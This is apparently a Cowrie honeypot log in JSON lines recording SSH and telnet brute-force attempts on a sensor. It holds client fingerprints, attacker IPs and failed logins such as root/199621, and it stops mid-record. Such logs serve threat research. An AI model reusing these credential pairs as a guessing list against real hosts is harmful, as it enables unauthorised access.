{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:08.208985Z","src_ip":"91.92.40.4","session":"22a08bf11ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:08.454676Z","src_ip":"91.92.40.4","session":"22a08bf11ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:09.538738Z","src_ip":"91.92.40.4","session":"22a08bf11ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.156455755233765,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:16.443464Z","src_ip":"170.64.224.25","session":"ad62c0b57df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43028,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c277e3dfb4","protocol":"ssh","message":"New connection: 103.176.20.57:43028 (10.17.0.5:22) [session: 05c277e3dfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:24.333315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:24.336875Z","src_ip":"103.176.20.57","session":"05c277e3dfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:24.578367Z","src_ip":"103.176.20.57","session":"05c277e3dfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.859883069992065,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:25.216113Z","src_ip":"170.64.224.25","session":"5e071fd5293c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"199621","message":"login attempt [root/199621] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:25.306254Z","src_ip":"103.176.20.57","session":"05c277e3dfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:26.552137Z","src_ip":"103.176.20.57","session":"05c277e3dfb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":48646,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb1180f7bedb","protocol":"ssh","message":"New connection: 138.197.164.175:48646 (10.17.0.5:22) [session: fb1180f7bedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:28.425089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:28.428473Z","src_ip":"138.197.164.175","session":"fb1180f7bedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:28.445835Z","src_ip":"138.197.164.175","session":"fb1180f7bedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gy123456!","message":"login attempt [root/Gy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:28.551740Z","src_ip":"138.197.164.175","session":"fb1180f7bedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:29.571705Z","src_ip":"138.197.164.175","session":"fb1180f7bedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.175.51.134","src_port":35886,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23fd14afab3","protocol":"ssh","message":"New connection: 117.175.51.134:35886 (10.17.0.5:22) [session: d23fd14afab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:29.907301Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":52034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2770329f1e","protocol":"ssh","message":"New connection: 34.123.134.194:52034 (159.203.135.109:22) [session: 9b2770329f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:30.133443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:30.137477Z","src_ip":"34.123.134.194","session":"9b2770329f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:30.175848Z","src_ip":"34.123.134.194","session":"9b2770329f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"productos","password":"productos123","message":"login attempt [productos/productos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:30.463403Z","src_ip":"34.123.134.194","session":"9b2770329f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:31.600947Z","src_ip":"34.123.134.194","session":"9b2770329f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":49732,"dst_ip":"159.203.135.109","dst_port":22,"session":"e482b6c64916","protocol":"ssh","message":"New connection: 165.232.38.41:49732 (159.203.135.109:22) [session: e482b6c64916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:34.490312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:34.494076Z","src_ip":"165.232.38.41","session":"e482b6c64916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:34.565198Z","src_ip":"165.232.38.41","session":"e482b6c64916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass12345","message":"login attempt [root/pass12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:34.886253Z","src_ip":"165.232.38.41","session":"e482b6c64916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62173652648926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:35.785214Z","src_ip":"107.6.151.170","session":"aaec1ec54fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:35.959294Z","src_ip":"165.232.38.41","session":"e482b6c64916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":42066,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee51b3d7d207","protocol":"ssh","message":"New connection: 146.190.154.85:42066 (159.203.135.109:22) [session: ee51b3d7d207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:37.297099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:37.300940Z","src_ip":"146.190.154.85","session":"ee51b3d7d207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:37.370340Z","src_ip":"146.190.154.85","session":"ee51b3d7d207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"retailer","password":"123456","message":"login attempt [retailer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:37.682786Z","src_ip":"146.190.154.85","session":"ee51b3d7d207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:38.755889Z","src_ip":"146.190.154.85","session":"ee51b3d7d207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":32864,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b89222299b","protocol":"ssh","message":"New connection: 154.18.197.35:32864 (159.203.135.109:22) [session: 67b89222299b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:58.316112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:58.320534Z","src_ip":"154.18.197.35","session":"67b89222299b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:58.562883Z","src_ip":"154.18.197.35","session":"67b89222299b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":60430,"dst_ip":"10.17.0.5","dst_port":22,"session":"f471fcc40e27","protocol":"ssh","message":"New connection: 189.203.163.10:60430 (10.17.0.5:22) [session: f471fcc40e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:59.293076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:59.297204Z","src_ip":"189.203.163.10","session":"f471fcc40e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:59.357124Z","src_ip":"189.203.163.10","session":"f471fcc40e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXSW@","message":"login attempt [ubuntu/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:59.556537Z","src_ip":"154.18.197.35","session":"67b89222299b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fk123456@","message":"login attempt [root/Fk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:43:59.631632Z","src_ip":"189.203.163.10","session":"f471fcc40e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57118,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d9153a2c87","protocol":"ssh","message":"New connection: 159.65.58.200:57118 (159.203.135.109:22) [session: 03d9153a2c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:00.397352Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:00.694114Z","src_ip":"189.203.163.10","session":"f471fcc40e27","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:44:00.699080Z","src_ip":"159.65.58.200","session":"03d9153a2c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp52